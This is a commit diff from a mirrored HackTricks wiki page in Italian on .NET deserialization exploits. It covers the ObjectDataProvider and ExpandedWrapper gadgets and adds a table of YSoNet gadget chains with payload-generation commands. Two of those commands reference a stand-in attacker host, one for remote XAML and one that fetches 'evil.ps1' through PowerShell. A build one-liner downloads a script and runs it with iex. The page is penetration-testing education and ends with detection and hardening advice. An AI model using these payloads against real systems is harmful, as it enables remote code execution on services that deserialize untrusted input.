mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/basic-.net-deserializati
This commit is contained in:
parent
1f1403503e
commit
5570049426
@ -7,7 +7,7 @@ Questo post è dedicato a **comprendere come il gadget ObjectDataProvider venga
|
||||
## Gadget ObjectDataProvider
|
||||
|
||||
Dalla documentazione: _la classe ObjectDataProvider avvolge e crea un oggetto che puoi utilizzare come sorgente di binding_.\
|
||||
Sì, è una spiegazione strana, quindi vediamo cosa ha di così interessante questa classe: Questa classe consente di **avvolgere un oggetto arbitrario**, utilizzare _**MethodParameters**_ per **impostare parametri arbitrari** e poi **utilizzare MethodName per chiamare una funzione arbitraria** dell'oggetto arbitrario dichiarato utilizzando i parametri arbitrari.\
|
||||
Sì, è una spiegazione strana, quindi vediamo cosa ha di così interessante questa classe: Questa classe consente di **avvolgere un oggetto arbitrario**, utilizzare _**MethodParameters**_ per **impostare parametri arbitrari,** e poi **utilizzare MethodName per chiamare una funzione arbitraria** dell'oggetto arbitrario dichiarato utilizzando i parametri arbitrari.\
|
||||
Pertanto, l'**oggetto** arbitrario **eseguirà** una **funzione** con **parametri mentre viene deserializzato.**
|
||||
|
||||
### **Come è possibile**
|
||||
@ -56,9 +56,9 @@ Nota che devi aggiungere come riferimento _C:\Windows\Microsoft.NET\Framework\v4
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
Utilizzando l'exploit precedente ci saranno casi in cui l'**oggetto** verrà **deserializzato come** un'istanza di _**ObjectDataProvider**_ (ad esempio nella vulnerabilità di DotNetNuke, utilizzando XmlSerializer, l'oggetto è stato deserializzato utilizzando `GetType`). Quindi, non avrà **conoscenza del tipo di oggetto che è incapsulato** nell'istanza di _ObjectDataProvider_ (`Process`, ad esempio). Puoi trovare ulteriori [informazioni sulla vulnerabilità di DotNetNuke qui](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
Utilizzando l'exploit precedente ci saranno casi in cui l'**oggetto** verrà **deserializzato come** un'istanza di _**ObjectDataProvider**_ (ad esempio nella vulnerabilità di DotNetNuke, utilizzando XmlSerializer, l'oggetto è stato deserializzato utilizzando `GetType`). Quindi, non avrà **conoscenza del tipo di oggetto che è incapsulato** nell'istanza di _ObjectDataProvider_ (`Process` ad esempio). Puoi trovare ulteriori [informazioni sulla vulnerabilità di DotNetNuke qui](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
|
||||
Questa classe consente di **specificare i tipi di oggetti degli oggetti che sono incapsulati** in una data istanza. Quindi, questa classe può essere utilizzata per incapsulare un oggetto sorgente (_ObjectDataProvider_) in un nuovo tipo di oggetto e fornire le proprietà di cui abbiamo bisogno (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
|
||||
Questa classe consente di **specificare i tipi di oggetto degli oggetti che sono incapsulati** in una data istanza. Quindi, questa classe può essere utilizzata per incapsulare un oggetto sorgente (_ObjectDataProvider_) in un nuovo tipo di oggetto e fornire le proprietà di cui abbiamo bisogno (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
|
||||
Questo è molto utile per casi come quello presentato prima, perché saremo in grado di **incapsulare \_ObjectDataProvider**_** all'interno di un'istanza di **_**ExpandedWrapper** \_ e **quando deserializzato** questa classe **creerà** l'oggetto _**OjectDataProvider**_ che **eseguirà** la **funzione** indicata in _**MethodName**_.
|
||||
|
||||
Puoi controllare questo wrapper con il seguente codice:
|
||||
@ -184,4 +184,49 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
}
|
||||
}
|
||||
```
|
||||
## Catene di Gadget Avanzate .NET (YSoNet & ysoserial.net)
|
||||
|
||||
La tecnica ObjectDataProvider + ExpandedWrapper introdotta sopra è solo una delle MOLTE catene di gadget che possono essere sfruttate quando un'applicazione esegue **deserializzazione .NET non sicura**. Strumenti moderni per red team come **[YSoNet](https://github.com/irsdl/ysonet)** (e il più vecchio [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizzano la creazione di **grafi di oggetti malevoli pronti all'uso** per dozzine di gadget e formati di serializzazione.
|
||||
|
||||
Di seguito è riportato un riferimento condensato delle catene più utili fornite con *YSoNet* insieme a una rapida spiegazione di come funzionano e comandi di esempio per generare i payload.
|
||||
|
||||
| Catena di Gadget | Idea Chiave / Primitiva | Serializzatori Comuni | YSoNet one-liner |
|
||||
|------------------|-------------------------|-----------------------|------------------|
|
||||
| **TypeConfuseDelegate** | Corrompe il record `DelegateSerializationHolder` in modo che, una volta materializzato, il delegato punti a *qualsiasi* metodo fornito dall'attaccante (es. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | Sfrutta `System.Workflow.ComponentModel.ActivitySurrogateSelector` per *bypassare il filtraggio dei tipi .NET ≥4.8* e invocare direttamente il **costruttore** di una classe fornita o **compilare** un file C# al volo | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | Sfrutta la **rappresentazione XML** legacy di `System.Data.DataSet` per istanziare tipi arbitrari riempiendo i campi `<ColumnMapping>` / `<DataType>` (opzionalmente falsificando l'assembly con `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | Su runtime abilitati WPF (> .NET 5) concatena i getter delle proprietà fino a raggiungere `System.CodeDom.Compiler.CompilerResults`, quindi *compila* o *carica* un DLL fornito con `-c` | `Json.NET` senza tipo, `MessagePack` senza tipo | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (revisione) | Usa WPF `System.Windows.Data.ObjectDataProvider` per chiamare un metodo statico arbitrario con argomenti controllati. YSoNet aggiunge una variante conveniente `--xamlurl` per ospitare il XAML malevolo in remoto | `BinaryFormatter`, `Json.NET`, `XAML`, *ecc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | Incorpora `ScriptBlock` in `System.Management.Automation.PSObject` che viene eseguito quando PowerShell deserializza l'oggetto | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
> [!TIP]
|
||||
> Tutti i payload sono **scritti su *stdout*** per impostazione predefinita, rendendo banale reindirizzarli in altri strumenti (es. generatori di ViewState, codificatori base64, client HTTP).
|
||||
|
||||
### Costruzione / Installazione di YSoNet
|
||||
|
||||
Se non sono disponibili binari precompilati sotto *Actions ➜ Artifacts* / *Releases*, il seguente **PowerShell** one-liner configurerà un ambiente di build, clonerà il repository e compilerà tutto in modalità *Release*:
|
||||
```powershell
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||||
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
|
||||
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
|
||||
|
||||
git clone https://github.com/irsdl/ysonet
|
||||
cd ysonet
|
||||
nuget restore ysonet.sln
|
||||
msbuild ysonet.sln -p:Configuration=Release
|
||||
```
|
||||
Il `ysonet.exe` compilato può quindi essere trovato sotto `ysonet/bin/Release/`.
|
||||
|
||||
### Rilevamento e Indurimento
|
||||
* **Rileva** processi figli inaspettati di `w3wp.exe`, `PowerShell.exe`, o qualsiasi processo che deserializza dati forniti dall'utente (ad es. `MessagePack`, `Json.NET`).
|
||||
* Abilita e **applica il filtraggio dei tipi** (`TypeFilterLevel` = *Full*, `SurrogateSelector` personalizzato, `SerializationBinder`, *ecc.*) ogni volta che il legacy `BinaryFormatter` / `NetDataContractSerializer` non può essere rimosso.
|
||||
* Dove possibile, migra a **`System.Text.Json`** o **`DataContractJsonSerializer`** con convertitori basati su whitelist.
|
||||
* Blocca gli assembly WPF pericolosi (`PresentationFramework`, `System.Workflow.*`) dall'essere caricati in processi web che non dovrebbero mai averne bisogno.
|
||||
|
||||
## Riferimenti
|
||||
- [YSoNet – Generatore di Payload per Deserializzazione .NET](https://github.com/irsdl/ysonet)
|
||||
- [ysoserial.net – strumento PoC originale](https://github.com/pwntester/ysoserial.net)
|
||||
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user